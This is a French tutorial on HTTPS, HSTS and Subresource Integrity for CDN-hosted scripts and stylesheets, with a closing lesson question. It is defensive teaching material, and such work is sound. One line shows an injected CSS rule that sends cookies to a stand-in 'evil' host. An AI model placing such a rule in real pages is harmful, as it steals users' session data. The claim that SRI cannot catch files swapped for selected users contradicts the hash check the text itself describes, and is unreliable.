HTTPS et intégrité des sous-ressources

HTTPS chiffre les données en transit et authentifie le serveur. Sans HTTPS, des attaquants présents sur le même réseau (Wi-Fi d’un café, ISP, acteur étatique) peuvent lire chaque octet et injecter du contenu malveillant dans les réponses. Les navigateurs modernes marquent les pages HTTP comme « Non sécurisées » et de nombreuses API (caméra, géolocalisation, workers de service) refusent de fonctionner sur HTTP.

Charger des ressources HTTP depuis une page HTTPS constitue du contenu mixte. Le navigateur bloque complètement le contenu mixte actif (scripts, iframes, feuilles de style) et émet un avertissement pour le contenu passif (images). Chargez toujours chaque ressource via HTTPS ; utilisez des URL relatives au protocole (//cdn.example.com) ou des URL absolues en https://.

La sécurité stricte du transport HTTP, via l’en-tête de réponse Strict-Transport-Security, indique aux navigateurs de refuser à l’avenir les connexions HTTP vers votre domaine. Une fois HSTS mis en cache, un attaquant ne peut pas rétrograder un utilisateur vers HTTP, même en position d’intercepteur.

Charger des scripts depuis des CDN tiers est pratique, mais risqué : si le CDN est compromis, un attaquant peut remplacer le script par un logiciel malveillant. L’intégrité des sous-ressources (SRI) permet au navigateur de vérifier le hachage cryptographique du fichier avant son exécution et de refuser de l’exécuter si le hachage ne correspond pas.

Ajoutez un hachage SHA-256/384/512 encodé en base64 à la balise de script : <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Le navigateur calcule le hachage du fichier téléchargé et refuse de l’exécuter en cas de divergence.

Générez le hachage avec openssl : openssl dgst -sha384 -binary file.js | openssl base64 -A. Vous pouvez aussi utiliser un plugin d’outil de compilation qui produit automatiquement l’attribut integrity. La plupart des CDN (jsdelivr, unpkg) affichent la balise SRI dans leur extrait à copier-coller.

SRI exige que la réponse provenant d’une autre origine autorise la vérification de l’intégrité via CORS. Ajoutez crossorigin="anonymous" à la balise et vérifiez que le CDN envoie Access-Control-Allow-Origin. Sans cela, le navigateur refuse d’effectuer la vérification et la ressource ne se charge pas.

L’attribut integrity peut contenir plusieurs hachages séparés par des espaces. C’est utile lors d’une transition de version : répertoriez les hachages des anciennes et des nouvelles versions, et le navigateur accepte celle que le CDN fournit. Évitez d’utiliser plus de quelques hachages afin de garder l’attribut lisible.

SRI protège également <link rel="stylesheet">. Un fichier CSS compromis est moins directement dangereux qu’un script compromis, mais un background: url("//evil/log?cookie=...") injecté peut tout de même exfiltrer des données. Appliquez SRI à chaque ressource externe lorsque c’est possible.

SRI atténue le risque de compromission d’un CDN, mais ne résout pas tous les problèmes : une modification du hachage sur le CDN interrompt le fonctionnement de votre page jusqu’à la mise à jour de l’attribut integrity. Pour les bibliothèques critiques, hébergez vous-même le fichier que vous avez examiné : vous éliminez d’un seul geste l’épinglage SRI et le risque lié à la chaîne d’approvisionnement.

SRI ajoute un calcul de hachage par ressource, ce qui est négligeable sur le matériel moderne : quelques microsecondes par kilo-octet. La protection contre les attaques visant la chaîne d’approvisionnement dépasse largement ce coût. Aucune raison liée aux performances ne justifie de se passer de SRI lors d’un chargement depuis un CDN.

SRI vérifie des octets précis : il ne protège pas contre un CDN qui servirait un fichier différent à certains utilisateurs (ciblage sélectif). Pour une assurance maximale, combinez SRI avec HTTPS, HSTS, CSP et l’hébergement local des ressources les plus critiques.

Contre quoi l’attribut integrity d’une balise de script protège-t-il ?

HTTPS chiffre et authentifie, HSTS empêche les attaques par rétrogradation et SRI vérifie que les fichiers tiers n’ont pas été altérés. Ajoutez des hachages integrity (avec crossorigin="anonymous") à chaque script et feuille de style externe provenant d’un CDN que vous ne contrôlez pas. Pour les ressources les plus critiques, hébergez-les vous-même : vous éliminerez ainsi entièrement le risque lié à la chaîne d’approvisionnement.